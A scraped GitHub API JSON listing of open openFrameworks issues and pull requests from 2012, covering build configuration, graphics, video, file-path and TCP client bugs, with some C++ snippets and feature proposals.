\n\n\t%(AdditionalDependencies);opencv_highgui231d.lib;opencv_calib3d231.lib;opencv_imgproc231d.lib;opencv_haartraining_engined.lib;opencv_gpu231d.lib;opencv_flann231.lib;opencv_contrib231d.lib;opencv_video231d.lib;opencv_objdetect231d.lib;zlib.lib;opencv_core231d.lib;opencv_contrib231.lib;opencv_ml231d.lib;opencv_features2d231.lib;opencv_core231.lib;opencv_gpu231.lib;opencv_legacy231d.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_ml231.lib;opencv_imgproc231.lib;opencv_objdetect231.lib;opencv_legacy231.lib;opencv_video231.lib\n\t\t\t\t%(AdditionalLibraryDirectories);..\\..\\..\\addons\\ofxOpenCv\\libs\\opencv\\lib\\vs2010\n\nthis doesn't seem to be the case on osx or windows, which produces correct results: \n\n\t%(AdditionalDependencies);opencv_calib3d231.lib;opencv_contrib231.lib;opencv_core231.lib;opencv_features2d231.lib;opencv_flann231.lib;opencv_gpu231.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_imgproc231.lib;opencv_legacy231.lib;opencv_ml231.lib;opencv_objdetect231.lib;opencv_video231.lib;zlib.lib\n\nwould be good to look at the logic of \"visualStudioProject::addAddon()\" and see if we can fix this.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1268","comments":9,"milestone":null,"number":1268,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1268","assignee":null,"title":"project generator - bad libs for VS / opencv examples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-05-20T21:50:24Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4662873,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T00:43:37Z","body":"I woud love some eyes on ofFbo would be great to get it cleaned up and standardized for 0072. \nRight now there are a ton of #ifdefs and some very hard to follow logic, which makes bug fixing quite difficult especially on OPENGL_ES\n\nsee: https://gist.github.com/2711815\n\n@elliotwoods @arturoc @memotv @damiannz @ofZach @kylemcdonald \n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1263","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1263,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1263","assignee":null,"title":"ofFbo.cpp is a huge mess! ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-16T16:27:30Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4608132,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T14:29:02Z","body":"I added a .mailmap file to the repo to correctly collate all the contributors in spite of changing nick names/email addresses. This is useful when trying to identify contributors for a changelog or similar, or when using the git logging functions like shortlog.\n\nSee the before/after situation here: https://gist.github.com/2710366\n\nI have respected privacy and only used those real names that people have already given in a git ID in the repo. Mainly this addition only associates the different email addresses to one user. @arturoc wins the prize of most used emails! :-)\nThe list is pretty complete, I only had difficulties to associate some IDs to the correct Zachs, since it was not clear for some if @ofZach or @stfj (Zach Gage) was the contributor. Those were left as-is.\n\nIf anybody has objections to their various email being united under their name, please say so and I will correct/remove the relevant entries.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1262","comments":2,"milestone":null,"number":1262,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1262","assignee":null,"title":"Add .mailmap for contributor collation","labels":[],"closed_at":null,"created_at":"2012-05-16T13:44:32Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":4604661,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1262.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1262","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1262.patch"}},{"updated_at":"2012-05-16T09:35:31Z","body":"Address #375.\n\nAdd setVolumef(float). Also more clearly define volume ranges (int is 0..255, float is 0..1) and more robust clamping of volume argument.\n\nThis has not been tested on Linux or Windows.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1260","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1260,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1260","assignee":null,"title":"allow float volume on ofVideoPlayer","labels":[],"closed_at":null,"created_at":"2012-05-15T17:50:22Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4588997,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1260.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1260","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1260.patch"}},{"updated_at":"2012-05-21T07:31:47Z","body":"This was originally posted @\"biginners\".\n\nhttp://forum.openframeworks.cc/index.php/topic,9527.msg44049.html#msg44049\n\nJoshua noble suggested me to file it as a bug on jithub\n\n\n/////////////////original messages\n\nHello.\n\nI have question about ofShortPixels and ofShortColor.\n\nIf you execute the code below , it'll draw at half way screen height even though I did set aDot at (0. screen height / 4)\n\nAnd another weird thing is it draws 20 pixels instead of 10 pixels which I set for loop for 10 times.\n\nIt only draws correctly with ofPixels and ofColor.\n\nIt doesn't work with ofFloatPixels and ofFloatColor.\n\nPlease help me out.\n\nI need to have RGB value over 255 so I can check if those values are over 255.\n\nThanks in advanced\n\nJin\n\n\n.h file\nCode:\nview plaincopy to clipboardprint?\n\n #pragma once \n #include \"ofMain.h\" \n \n class Dot { \n public: \n ofVec2f location; \n \n Dot(){ \n location.set(0,0); \n } \n \n ~Dot(){} \n }; \n \n class testApp : public ofBaseApp{ \n public: \n void setup(); \n void update(); \n void draw(); \n \n int w,h; \n \n ofTexture particleTexture; \n ofShortPixels * rgbPixels; \n \n ofShortColor& paint(ofShortColor &); \n \n Dot aDot; \n \n \n }; \n\n\n.cpp file\nCode:\nview plaincopy to clipboardprint?\n\n #include \"testApp.h\" \n //-------------------------------------------------------------- \n void testApp::setup(){ \n ofSetFrameRate(30); \n ofSetBackgroundAuto(TRUE); \n ofBackground(0, 0, 0); \n w = ofGetWidth(); \n h = ofGetHeight(); \n \n particleTexture.allocate(w,h,GL_RGB); \n rgbPixels = new ofShortPixels; \n rgbPixels->allocate(w, h, 3); \n aDot.location.set(0, h/4); \n } \n \n //-------------------------------------------------------------- \n void testApp::update(){ \n ofShortColor pixelColor; \n ofShortColor newPixelColor; \n for(int i = 0; i<10; i++){ \n pixelColor = rgbPixels->getColor(aDot.location.x+i, aDot.location.y); \n \n newPixelColor = paint(pixelColor); \n \n rgbPixels->setColor(aDot.location.x+i, aDot.location.y,newPixelColor); \n \n } \n particleTexture.loadData(* rgbPixels); \n } \n \n //-------------------------------------------------------------- \n void testApp::draw(){ \n particleTexture.draw(0, 0, w, h); \n } \n \n ofShortColor & testApp::paint(ofShortColor & _c){ \n \n _c.r += 10; \n _c.g += 2; \n _c.b += 3; \n \n _c.set(_c.r, _c.g, _c.b); \n _c.clamp(); \n \n return _c; \n } ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1257","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1257,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1257","assignee":null,"title":"ofShortPixels doesn't draw pixels correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-14T05:46:14Z","state":"open","user":{"url":"https://api.github.com/users/gazaebal","gravatar_id":"f9d7811bb6318fedf7e9f2fe8bfece32","avatar_url":"https://secure.gravatar.com/avatar/f9d7811bb6318fedf7e9f2fe8bfece32?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gazaebal","id":1736190},"id":4557803,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T21:42:08Z","body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = OF_MATRIX_MODE_CURRENT);\n```\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","comments":5,"milestone":null,"number":1256,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1256","assignee":null,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-13T18:20:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4554058,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-11T21:24:20Z","body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","comments":6,"milestone":null,"number":1252,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1252","assignee":null,"title":"0071 ply (mesh.save()) Point export is broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-11T19:45:53Z","state":"open","user":{"url":"https://api.github.com/users/laserpilot","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"laserpilot","id":1041023},"id":4539985,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:33:31Z","body":"couple of minor bugfixes (absolute path wasn't being detected on second if [absolute] for windows paths)\r\nfixes unixy paths no matter what on windows","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1251","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1251,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1251","assignee":null,"title":"Bugfix of to data path","labels":[],"closed_at":null,"created_at":"2012-05-10T06:44:20Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507572,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1251.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1251","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1251.patch"}},{"updated_at":"2012-05-16T09:43:23Z","body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1250,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1250","assignee":null,"title":"bug: ofToDataPath broken again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-10T06:35:24Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507492,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:42:44Z","body":"'ofx TCPClient :: receiveRaw' was found in the proble.\n\nOriginal :\n\n\tint ofxTCPClient::receiveRawBytes(char * receiveBuffer, int numBytes){\n\t\t\t messageSize = TCPClient.Receive(receiveBuffer, numBytes);\t\n\t\t\t if(messageSize==0){\t\t\n\t\t\t\t\t\tclose();\t\n\t\t\t }\t\n\t\t\t return messageSize;\n\t}\n\nBut 'TCPClient.Receive (receiveBuffer, numBytes)' from '-1' may return\n\nI was modified\n\n\tstring ofxTCPClient::receiveRaw(){\n\t\t\t messageSize = TCPClient.Receive(tmpBuff, TCP_MAX_MSG_SIZE);\n\t\t\t if(messageSize==0){\n\t\t\t\t\t\tclose();\n\t\t\t }\n\t\t\t //TCPClient.Receive is return -1....\n\t\t\t else if(messageSize < 0){ \n\t\t\t\t\t\ttmpBuff[0] = 0;\n\t\t\t }\n\t\t\t else if(messageSize; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"a63cf45ee23c003caf863065072ec4bb"'), ('date', 'Tue, 29 May 2012 19:27:23 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-02-29T11:13:10Z","body":"check out - http://www.openframeworks.cc/forum/viewtopic.php?p=19169#p19169\r\npossible integration into core. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":140,"html_url":"https://github.com/openframeworks/openFrameworks/issues/140","assignee":null,"title":"texture compression and mipmaps for of texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-04-02T19:43:00Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":163959,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T16:15:52Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=10&t=3319","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/128","comments":4,"milestone":null,"number":128,"html_url":"https://github.com/openframeworks/openFrameworks/issues/128","assignee":null,"title":"ofxTCPServer doesn't manage connected clients correcly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-02-14T09:40:13Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":132671,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:31:57Z","body":"Something that easily converts vector direction to openGL degrees?\r\nI find myself constantly trying to guess 270 - atan2(y, x)*RAD_TO_DEG ..... etc\r\nTo rotate something along a vector. \r\n\r\nMight be good to have it be aware of the GL world orientation - or have it so you pass in the up \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":126,"html_url":"https://github.com/openframeworks/openFrameworks/issues/126","assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"title":"ofATan2GL / ofVecToGL ?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-02-13T14:22:51Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132377,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-22T15:51:57Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=3299&p=17852#p17852","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","number":6,"title":"0073 Release","closed_issues":0,"due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":124,"html_url":"https://github.com/openframeworks/openFrameworks/issues/124","assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"title":"TTF type rendering in OF - fix fuzziness ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-02-13T14:15:25Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132373,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:30:14Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=1374","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/121","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":121,"html_url":"https://github.com/openframeworks/openFrameworks/issues/121","assignee":null,"title":"video: loop is not working unless you call play first","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-02-10T23:16:23Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":130269,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:30:49Z","body":"it would make sense to have an opengl stress test app, that can test some basic about wether or not someone has ARB support, how fast their systems are, etc. I can imagine that for 0.07, we'll be helping people debug shaders and FBOs, having some way to gauge what kind of system they are on and what it can take, will be helpful. \r\n\r\nHere's a simple test app from the Lua-AV folks that looks like a reasonable system: \r\n\r\nhttp://img191.imageshack.us/img191/1659/picture3po.png","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/115","comments":0,"milestone":null,"number":115,"html_url":"https://github.com/openframeworks/openFrameworks/issues/115","assignee":null,"title":"opengl stress test example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-01-12T02:56:21Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":111018,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-28T14:02:04Z","body":"at the moment, we've got it like:\r\n\r\nofAppGlutWindow::ofAppGlutWindow(){\r\n\tfps\t\t\t\t= 60.0; //give a realistic starting value - win32 issues\r\n\tbFrameRateSet\t\t= false;\r\n}\r\n\r\nbut I personally prefer all apps to start with some kind of similar frame rate (ie, examples running really fast on mac, etc). see for example: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=16520&#p16520\r\n\r\nthis kind of thing leads to less \"cross-platform-ness\" and more confusion from beginners, no? \r\n\r\n- z\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/107","comments":8,"milestone":null,"number":107,"html_url":"https://github.com/openframeworks/openFrameworks/issues/107","assignee":null,"title":"should we start all OF apps with a frame rate 